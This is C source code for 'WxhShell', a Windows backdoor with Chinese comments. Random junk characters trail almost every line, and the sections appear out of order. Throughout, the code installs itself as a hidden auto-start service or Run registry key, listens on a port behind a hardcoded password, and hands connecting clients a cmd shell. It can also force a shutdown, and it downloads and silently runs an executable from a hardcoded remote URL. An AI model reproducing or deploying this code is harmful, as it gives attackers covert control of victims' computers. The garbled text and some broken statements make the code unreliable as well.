    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gOgps:  
    if(Boot(SHUTDOWN)) `[o)<<}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQrhsuCrC  
    else { (mxT2"fC  
    closesocket(wsh); sGvIXD  
    ExitThread(0); q'pK,uNW  
    } /TS=7J#  
    break; OY[e.N t&  
    } gTRF^knrY  
  // 获取shell ' |-JWH  
  case 's': { e\O/H<  
    CmdShell(wsh); '=][J_  
    closesocket(wsh); ~['Kgh_;  
    ExitThread(0); /iG*)6*^k  
    break; Pxn,Qw*  
  } 2Q;9G6p  
  // 退出 V"cKJ;s  
  case 'x': { f7Ul(D:j\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q&C""!h^  
    CloseIt(wsh); !4]9!<.k  
    break; kyR*D1N&)  
    } jYNrD"n  
  // 离开 hdTzCfeZ5@  
  case 'q': { %;#^l+UB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cj11S>D  
    closesocket(wsh); iy""(c  
    WSACleanup(); :JlP[I  
    exit(1); 6TP7b|  
    break; ~>9_(L  
        } q2HYiH^L  
  } 4k./(f2+  
  } RN=` -*E1  
tabT0  
  // 提示信息 +r3IN){jz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8[6o (  
} y qtKy  
  } JTi!Xu5Jq  
5zON}"EC  
  return; 8p[)MiC5W^  
} Vh>Z,()>>@  
p~LrPWHSTP  
// shell模块句柄 n~VD uKn9  
int CmdShell(SOCKET sock) <nEi<iAY>U  
{ R$zH]  
STARTUPINFO si; 6q 2_WX  
ZeroMemory(&si,sizeof(si)); `6+"Z=:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #c^^=Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +iOKbc'  
PROCESS_INFORMATION ProcessInfo; 9@+5LZR  
char cmdline[]="cmd"; {v3P9s(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yDNOtC|  
  return 0; HSq}7S&U  
} A 7[:5$  
'vNG(h#%d  
// 自身启动模式 )8g(:`w  
int StartFromService(void) A$6$,h  
{ \d::l{VB  
typedef struct Sna4wkbS  
{ }1IpON  
  DWORD ExitStatus; `({T]@]V  
  DWORD PebBaseAddress; LR" 9D  
  DWORD AffinityMask; YuB+k^  
  DWORD BasePriority; S*yjee<@  
  ULONG UniqueProcessId; V59(Z  
  ULONG InheritedFromUniqueProcessId; kQ]$%Lk[  
}   PROCESS_BASIC_INFORMATION; ,@5I:X!rR  
v+9 9 -.  
PROCNTQSIP NtQueryInformationProcess; F2X0%te  
RejQ5'Neh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I!^O)4QRx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fFQ|T:vm  
[` sL?&a  
  HANDLE             hProcess; #:SNHM^><  
  PROCESS_BASIC_INFORMATION pbi; Y`?-VaY  
Agrk|wPK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \6\<~UX^  
  if(NULL == hInst ) return 0; qP<Lr)nUH  
irjP>3_e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m#=z7.XrX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $ `7^+8vHV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _YRE (YZ/  
y!xE<S&Y  
  if (!NtQueryInformationProcess) return 0; W^"AU;^V56  
JchSMc.9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0wS+++n$5  
  if(!hProcess) return 0; Y".RPiTL  
* RtgC/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u]OW8rc  
kZ"BBJ6w  
  CloseHandle(hProcess); R LD`O9#j  
Z(Jt~a3o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n?V+dC=F}  
if(hProcess==NULL) return 0; -lv)tHs<  
l#n,Fg3  
HMODULE hMod; R4-~jgzx  
char procName[255]; tsk)zP,<  
unsigned long cbNeeded; !F?XLekTi  
}\C-} Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8g7<KKw  
-44&#l^}_u  
  CloseHandle(hProcess); j)q\9#sI/(  
&4_qF^9J  
if(strstr(procName,"services")) return 1; // 以服务启动 A`R{m0A  
jmeRrnC}  
  return 0; // 注册表启动 cv`~y'?D  
} c%qv9   
C`q@X(_   
// 主模块 PdvqDa8  
int StartWxhshell(LPSTR lpCmdLine) 4f<$4d^md  
{ Q%f|~Kl-hd  
  SOCKET wsl; <m'ow  
BOOL val=TRUE; M8u<qj&<O  
  int port=0; ~zw]5|  
  struct sockaddr_in door; 8,uB8C9  
TjG4`:*y#m  
  if(wscfg.ws_autoins) Install(); aFLO{tr`  
HJY2#lSha6  
port=atoi(lpCmdLine); CJhL)0Cs  
3)RsLI9  
if(port<=0) port=wscfg.ws_port; vY_-Ranj#.  
ZWS`\M  
  WSADATA data; SCTA=l.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YX#-nyK  
'PP#^aI,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^4o;$u4R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R=KQ  
  door.sin_family = AF_INET; vI@%Fg+D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wiBVuj#  
  door.sin_port = htons(port); Ot`VR&}  
qcT'nZ:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,#8e_3Z$  
closesocket(wsl); n..g~ $k  
return 1; e$pMsw'MJ  
} BXyo  
y.q(vzg\_  
  if(listen(wsl,2) == INVALID_SOCKET) { %!1Q P[}K  
closesocket(wsl); QeK*j/  
return 1; @62Mk},9 c  
} *Aa?yg:=  
  Wxhshell(wsl); !3ctB3eJ  
  WSACleanup(); Exk\8,EGqS  
5>TK^1 :  
return 0; \!ej<T+JR>  
^53r/V}%  
} 9 '2_  
ERN>don2  
// 以NT服务方式启动 wT{nu[=GH*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LWt&3  
{ /Js7`r=Rx  
DWORD   status = 0; OiP!vn}k  
  DWORD   specificError = 0xfffffff; n-@j5w+k4  
-xP!"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4f;HQ-Iv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NhYLt w^u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q6r7.pk"SU  
  serviceStatus.dwWin32ExitCode     = 0; pn^ d]rou?  
  serviceStatus.dwServiceSpecificExitCode = 0; rX1QMR7?  
  serviceStatus.dwCheckPoint       = 0; nt@aYXK4|  
  serviceStatus.dwWaitHint       = 0; |.3DD"*  
S)/_muP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); to$h2#i_  
  if (hServiceStatusHandle==0) return; a.zpp'cEb  
\~_9G{2?  
status = GetLastError(); ,#kIr  
  if (status!=NO_ERROR) pt}X>ph{  
{ wLH] <k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nxl[d\ap+n  
    serviceStatus.dwCheckPoint       = 0; VZl6t;cn  
    serviceStatus.dwWaitHint       = 0; Qg<(u?7N  
    serviceStatus.dwWin32ExitCode     = status; .?hP7;hhI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1&U>,;]*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $-*!pRaVU  
    return; BGu?<bET  
  } a 7,C>%I  
AoI/n4T^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xoR;=ph  
  serviceStatus.dwCheckPoint       = 0; bv*,#Qm  
  serviceStatus.dwWaitHint       = 0; aVd,xl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =i7`ek  
} ziCHjqT  
,YMp<C  
// 处理NT服务事件,比如:启动、停止 aT$9;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xqm::1(-(  
{ .>IhN 5  
switch(fdwControl) s]JF0584  
{ _> *j H'  
case SERVICE_CONTROL_STOP: !U~WK$BP  
  serviceStatus.dwWin32ExitCode = 0; $ <#KA3o\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8M`#pN^  
  serviceStatus.dwCheckPoint   = 0; HF.^ysI  
  serviceStatus.dwWaitHint     = 0; E2{FK)qT  
  {  ({=gw9f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;/rXQe1  
  } PxS8 n?y  
  return; !dC<4qZ\C  
case SERVICE_CONTROL_PAUSE: x3"#POp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }x wu*Zx  
  break; B[4KX  
case SERVICE_CONTROL_CONTINUE: S9",d~EM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h^o{@/2  
  break; <z!CDg4  
case SERVICE_CONTROL_INTERROGATE: [n$BRk|  
  break; UQI]>#_/v  
}; WpRc)g :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); byfJy^8G  
} iS<I0\D  
 MEGv}  
// 标准应用程序主函数 O~^"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Os1>kwC  
{ \9g+^vQg  
*NClfkZ  
// 获取操作系统版本 6 jn3`D  
OsIsNt=GetOsVer(); jWE :ek*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TTTPxO,  
?C A,  
  // 从命令行安装 9BuSN*4  
  if(strpbrk(lpCmdLine,"iI")) Install(); /Dj=iBO  
8!Ww J Oe  
  // 下载执行文件 u[ Yk  
if(wscfg.ws_downexe) { '5|h)Q5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) | ]X  
  WinExec(wscfg.ws_filenam,SW_HIDE); k<\$OoOZ  
} &E=>Hj(dTG  
UaB @  
if(!OsIsNt) { 8 {X"h#  
// 如果时win9x,隐藏进程并且设置为注册表启动 3^6 d]f  
HideProc(); ikSt"}/hd  
StartWxhshell(lpCmdLine); SV~~Q_U9  
} PJL=$gBgKk  
else Rw:*'1  
  if(StartFromService()) Gnq?"</  
  // 以服务方式启动 } =]M2}  
  StartServiceCtrlDispatcher(DispatchTable); 3S}Pm2D2  
else tyqT  
  // 普通方式启动 ?pB>0b~3-  
  StartWxhshell(lpCmdLine); [6XF=L,!  
Xn%pNxUL  
return 0; L>R P-x>  
} ]h %Wiw  
u2?|Ue@[  
0p!>JQ]m  
n4#;k=mA  
=========================================== &H`jL4S  
*5^Q7``  
"*srx]  
x}"uZ$g  
{*I``T_+  
xe` </  
" l.NEkAYPmH  
xM&Wgei]10  
#include <stdio.h> 8Hn|cf0  
#include <string.h> #kaY0M  
#include <windows.h> @dPTk"P  
#include <winsock2.h> K8UP,f2  
#include <winsvc.h> %*0^0wz  
#include <urlmon.h> 8Y7Q+p|O  
/q`xCS  
#pragma comment (lib, "Ws2_32.lib") 0p}D(m2B  
#pragma comment (lib, "urlmon.lib") 2 Cv4=S  
?1K#dC52#  
#define MAX_USER   100 // 最大客户端连接数 vbC\?\_  
#define BUF_SOCK   200 // sock buffer W1|0Yd ;P  
#define KEY_BUFF   255 // 输入 buffer zIu E9l  
7B\Vs-d  
#define REBOOT     0   // 重启 < F.hZGss7  
#define SHUTDOWN   1   // 关机 3GhRWB-U  
!~rY1T~  
#define DEF_PORT   5000 // 监听端口 NP/Gn6fr  
f m)pulz  
#define REG_LEN     16   // 注册表键长度 jT]0WS-b  
#define SVC_LEN     80   // NT服务名长度 :6 Lx@  
Yd=>K HVD  
// 从dll定义API sEGO2xeI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [8*jw'W|[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^!<BQP7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L"4mL,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^5h]Y;tx  
r[b(I@T +  
// wxhshell配置信息 SfaQvstN  
struct WSCFG { $4 S@  
  int ws_port;         // 监听端口 [nrYpb4  
  char ws_passstr[REG_LEN]; // 口令 dE4L=sTEsy  
  int ws_autoins;       // 安装标记, 1=yes 0=no sE Q=dcK  
  char ws_regname[REG_LEN]; // 注册表键名 yEhTNBa*h{  
  char ws_svcname[REG_LEN]; // 服务名 bj>v|#r^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rzm:Yx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4O)1uF;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v{ 0=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0dGAP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e'~J,(fB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5?3Me59  
UJ CYs`y  
}; IpcNuZo9&  
lE&&_INHQ  
// default Wxhshell configuration AK*LyR?  
struct WSCFG wscfg={DEF_PORT, GycSwQ ,  
    "xuhuanlingzhe", 0+kH:dP{  
    1, I uMQ9 &  
    "Wxhshell", Tk:h@F|B.|  
    "Wxhshell", `\#B18eU  
            "WxhShell Service", `OXpU,Z 6U  
    "Wrsky Windows CmdShell Service", @M_oH:GV  
    "Please Input Your Password: ", &h^9}>rVjV  
  1, ]v]qChZHd  
  "http://www.wrsky.com/wxhshell.exe", pEIRh1  
  "Wxhshell.exe" GS a [ oh  
    }; )GM41t1i  
[BqHx5Xz(  
// 消息定义模块 z8SmkL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e%@~MQ-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6/r)y+H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +#lM  
char *msg_ws_ext="\n\rExit."; ^h ~x)@=  
char *msg_ws_end="\n\rQuit."; `lO[x.[  
char *msg_ws_boot="\n\rReboot..."; kT"Kyd  
char *msg_ws_poff="\n\rShutdown..."; LSGBq  
char *msg_ws_down="\n\rSave to "; B&[M7i  
W;'!gpa  
char *msg_ws_err="\n\rErr!"; qUob?| ^   
char *msg_ws_ok="\n\rOK!"; 2\jPv`Ia  
O&4SCVZp  
char ExeFile[MAX_PATH]; AP7Yuv`  
int nUser = 0; %yW3VL  
HANDLE handles[MAX_USER]; ifUGY[L  
int OsIsNt; C/vI EYG4  
AGQ#$fh>7=  
SERVICE_STATUS       serviceStatus; YW_Q\|p]M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jrti cK$  
aTqd@},?  
// 函数声明 -EkWs/'h  
int Install(void); 'B 43_  
int Uninstall(void); $c:ynjL|P-  
int DownloadFile(char *sURL, SOCKET wsh); Vzdh8)Mu\  
int Boot(int flag); W&& ;:Fr  
void HideProc(void); vd 0ljA  
int GetOsVer(void); HkUWehVm  
int Wxhshell(SOCKET wsl); pgI^4h  
void TalkWithClient(void *cs); q_g+Jf P-D  
int CmdShell(SOCKET sock); )4gJd? 8R  
int StartFromService(void); +;N2p1ZBf  
int StartWxhshell(LPSTR lpCmdLine); %)|9E>fP]N  
b F"G[pD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Crho=RJPR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %|g>%D3Z?  
 -QM: q  
// 数据结构和表定义 #h8Sq~0  
SERVICE_TABLE_ENTRY DispatchTable[] = aB{vFTD5  
{ )z73-M V"  
{wscfg.ws_svcname, NTServiceMain}, j53*E )d  
{NULL, NULL} h_:C+)13`x  
}; LcB]Xdsa(  
5_I->-<  
// 自我安装 b&~4t/Vq  
int Install(void) ]b7zJUz  
{ b[t>te  
  char svExeFile[MAX_PATH]; r@+ri1c  
  HKEY key; xLNtIzx  
  strcpy(svExeFile,ExeFile); E:JJ3X|  
aqRhh=iS  
// 如果是win9x系统,修改注册表设为自启动 ypKUkH/  
if(!OsIsNt) { hb zC#@ q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wKZ$iGMbz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `\T]ej}zvI  
  RegCloseKey(key); 7\$qFF-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 75"f2;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -:2$ %  
  RegCloseKey(key); dJ2Hr;Lc  
  return 0; >/kc dWl  
    } 9[b<5Llt  
  } Q[vJqkgT  
} wRcAX%n&  
else { CFzNwgv]z  
Rz bj  
// 如果是NT以上系统,安装为系统服务 WQ[_hg|k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "?ucO4d  
if (schSCManager!=0) !;i`PPRwk  
{ Ox&P}P0f  
  SC_HANDLE schService = CreateService 8+a4>8[M  
  ( Ghx3EVqnx"  
  schSCManager, E^ P,*s  
  wscfg.ws_svcname, q|o}+Vr  
  wscfg.ws_svcdisp, DoJ\ q+  
  SERVICE_ALL_ACCESS, =vQcYa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HJXT9;w  
  SERVICE_AUTO_START, !UG 7Uer  
  SERVICE_ERROR_NORMAL, 4 N H  
  svExeFile, # {w9s 0:  
  NULL, ZHU5SXu  
  NULL, [ oL.+  
  NULL, hU`wVy  
  NULL, *)ardZV${  
  NULL 3nT^?;-  
  ); "!Uqcay-  
  if (schService!=0) x(hE3S#+  
  { _/uFsYC  
  CloseServiceHandle(schService); K/tRe/t }  
  CloseServiceHandle(schSCManager); 6-yd]("  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "U!AlZ`g  
  strcat(svExeFile,wscfg.ws_svcname); U1DXe h~V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lD^]\;?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =yr0bGy`-  
  RegCloseKey(key); y4*U6+#.  
  return 0; u.d).da  
    } C8[&S&<_<  
  } &Q;sSIc  
  CloseServiceHandle(schSCManager); Ss~;m']68  
} "x=f=;  
} !/}O>v~o  
< ,Ue 0  
return 1; |]J>R  
} l>Z5 uSG  
.z)%)PVV  
// 自我卸载 w[9|cgCY  
int Uninstall(void) &u /Nf&A  
{ 1T y<\bZ=  
  HKEY key; 56+s~hG  
O4r0R1VQM  
if(!OsIsNt) { NLUT#!Gr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P|.]DJ  
  RegDeleteValue(key,wscfg.ws_regname); ]w;rfn9D  
  RegCloseKey(key); -~v|Rt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J8S'/y(LE<  
  RegDeleteValue(key,wscfg.ws_regname); U7 `A497Z  
  RegCloseKey(key); yRSTk2N@  
  return 0; biSz?DJ>  
  } MaRi+3F  
} N}pw74=1  
} [q/Abz'i  
else { H<v'^*(  
@6{~05.p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cxA^:3  
if (schSCManager!=0) gZLP\_CL  
{ IhA5Wt0j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 12;8o<~  
  if (schService!=0) 2_n7=&  
  { 4SlADvGl  
  if(DeleteService(schService)!=0) { :YXX8|>  
  CloseServiceHandle(schService); AG!w4Ky`  
  CloseServiceHandle(schSCManager); Cnbz=z  
  return 0; :bz}c48%  
  } * mOo@+89  
  CloseServiceHandle(schService); eZ|%<Wpu  
  } |$Xl/)Oq  
  CloseServiceHandle(schSCManager); y.WEj?EL  
} nQ q=7Gu  
} 4 !y%O  
jDy-)2<  
return 1; .2%zC & ;  
} jUSmq m'  
Y( 3Bp\6  
// 从指定url下载文件 -u2P ?~  
int DownloadFile(char *sURL, SOCKET wsh) SS$[VV  
{ *a58ZI@  
  HRESULT hr; k p<OJy  
char seps[]= "/"; 3[O=x XB  
char *token; 2 $?C7(kW  
char *file; -i)ZQCE  
char myURL[MAX_PATH]; ny`#%Vs  
char myFILE[MAX_PATH]; q:dHC,fO  
t.laO. 3  
strcpy(myURL,sURL); /9HVY %n  
  token=strtok(myURL,seps); k Mu8"Az  
  while(token!=NULL) Q^ pmQ  
  { B[V+ND'(  
    file=token; U<CTubF  
  token=strtok(NULL,seps); p1&b!*o-&  
  } VY~yg*  
+6';1Nb@  
GetCurrentDirectory(MAX_PATH,myFILE); &K.?p2$X  
strcat(myFILE, "\\"); (vb SM}P  
strcat(myFILE, file); }o L'8-y  
  send(wsh,myFILE,strlen(myFILE),0); q OSM}ei>s  
send(wsh,"...",3,0); QV {}K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K{[%7AM  
  if(hr==S_OK) 4<% *E{`  
return 0; nq6@6GRG  
else QlJ)F{R8il  
return 1; ~NQ72wph{  
xn5l0'2  
} /Y'Vh^9/T  
AQ_|:  
// 系统电源模块 ~C>?W[Y  
int Boot(int flag) Cq'KoN%nQ  
{ !{^PO <9  
  HANDLE hToken; S4G^z}{_  
  TOKEN_PRIVILEGES tkp; *QLI3B9V  
DpUbzr41+k  
  if(OsIsNt) { #7MUJY+ 9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KTP8?Q"n0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "J4WzA%i  
    tkp.PrivilegeCount = 1; Ed_N[ I   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~y/ nlb!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 13@|w1/Z  
if(flag==REBOOT) { cUA7#1\T=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 89o/F+_b  
  return 0; NdzSz]q}  
} ynE)Xdh  
else { kP-3"ACG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7PtN?;rP  
  return 0; ^R# E:3e  
} I~ok4L?VB  
  } 3+@<lVew6  
  else { tD+9kf2  
if(flag==REBOOT) { =zKhz8B(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ApAO/q  
  return 0; :E:38q,hG  
} (H ->IV  
else { C!fMW+C@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BFo5\l:q8  
  return 0; LUqB&,a}  
} X&7 F_#s  
} 6f\Lf?vF  
0a}u;gt,4w  
return 1; jpO7'ivG  
} BK,{N0  
4iKgg[)7`=  
// win9x进程隐藏模块 Mz~M3$$9n  
void HideProc(void) OoA|8!CFa  
{ aFS,GiB  
)XYv}U   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fSs4ZXC  
  if ( hKernel != NULL ) yF"1#{*y  
  { =y0C1LD+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0l-Ef 1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {\c(ls{  
    FreeLibrary(hKernel); J2 'Nd'  
  } Yy)tmq  
`/EGyN6X  
return; w+1 |9Y  
} \lZf<f  
bdQ_?S(  
// 获取操作系统版本 Mf&{7%  
int GetOsVer(void) (]Y 5eM  
{ m<j8cJ(  
  OSVERSIONINFO winfo; tE]= cTSV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IW@PF7  
  GetVersionEx(&winfo); [Pq}p0cD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |MFF7z{%  
  return 1; a2 Y;xe  
  else o]; [R  
  return 0; ( 5tvfz%  
} G0^2Wk[  
6~1|qEe6I  
// 客户端句柄模块 o1FF"tLkN  
int Wxhshell(SOCKET wsl) y0'Rmk,  
{  PYM(Xz$  
  SOCKET wsh; 7z!tKs"TMT  
  struct sockaddr_in client; wnM9('\  
  DWORD myID; %l,,_:7{  
Qj.l:9%  
  while(nUser<MAX_USER) 4KH45|; 3  
{ ~%SH3$  
  int nSize=sizeof(client); _Jme!Oaa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Rz3<eON  
  if(wsh==INVALID_SOCKET) return 1; eC[$B99\  
kH]yl 2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fO0XA"=  
if(handles[nUser]==0) Hhari!R XC  
  closesocket(wsh); 2@%$;.  
else <iH`rP#  
  nUser++; ^OstR`U3  
  } K)Q]a30  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :k.NbN$i\  
ML( E o  
  return 0; L:1^Kxg  
} MD|5 ol9  
;S57w1PbVA  
// 关闭 socket &:, dJ  
void CloseIt(SOCKET wsh) 0Sgaem`  
{ :yeq(o K,  
closesocket(wsh); { T-'t/0e(  
nUser--; mxz-4.  
ExitThread(0); LAd\Tvms  
} }RwSp!}C  
S%yd5<%_  
// 客户端请求句柄 a^=-Mp  
void TalkWithClient(void *cs) 3WUTI(  
{ yjhf   
:&:JTa1cv  
  SOCKET wsh=(SOCKET)cs; TW[_Ko86  
  char pwd[SVC_LEN]; ?)`L$Vr=  
  char cmd[KEY_BUFF]; 5lm<%  
char chr[1]; d"6&AJ5a  
int i,j; c2e tc8  
?zQA  
  while (nUser < MAX_USER) { K9OYri^TQ  
xv&Q+HD  
if(wscfg.ws_passstr) { .8P.)%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JvT"bZk( o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  }(1JaG  
  //ZeroMemory(pwd,KEY_BUFF); ~fT_8z  
      i=0; pb$~b\s]=  
  while(i<SVC_LEN) { WV#%PJ  
v7DE  
  // 设置超时 _ B 5gR  
  fd_set FdRead; OujCb^Rm  
  struct timeval TimeOut; 'rr^2d]`ST  
  FD_ZERO(&FdRead); il \$@Bn  
  FD_SET(wsh,&FdRead); p~9vP)74u  
  TimeOut.tv_sec=8; OnK~3j  
  TimeOut.tv_usec=0; #3_*]8K.R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XwlbJ=mf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T`Mf]s)*  
JXu$ew>q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w\DVzeW(  
  pwd=chr[0]; SL;9Q[  
  if(chr[0]==0xd || chr[0]==0xa) { &&VqD w  
  pwd=0; yb/%?DNQT  
  break; 3Ei5pX=g  
  } 86\S?=J-b  
  i++; U)o$WH.b  
    } I;Bjfv5  
UGuxV+Nwf  
  // 如果是非法用户,关闭 socket x >^Si/t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JM\m)RH0  
} r%.do;5  
sRrzp=D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9M1d%jT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "sl1vzRN  
]@0NO;bK>F  
while(1) { :P@rkT3Qt  
4y5UkU9|  
  ZeroMemory(cmd,KEY_BUFF); )J NSZB  
Ldl 5zc  
      // 自动支持客户端 telnet标准   y !!E\b=  
  j=0; V`7FKL@"  
  while(j<KEY_BUFF) { ^pe{b9c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +{L<? "  
  cmd[j]=chr[0]; YBP:q2H  
  if(chr[0]==0xa || chr[0]==0xd) { K!]1oy'V  
  cmd[j]=0; M>>qn_yq4  
  break; Vw&HVo  
  } 8WXJ.  
  j++; yNqe8C,>e  
    } CBD6bl|A  
zBJ7(zh!  
  // 下载文件 ea 00\  
  if(strstr(cmd,"http://")) { zA!0l*H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w&B#goS  
  if(DownloadFile(cmd,wsh)) ]<q[Do8k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg}O/K  
  else ?1 [\!  
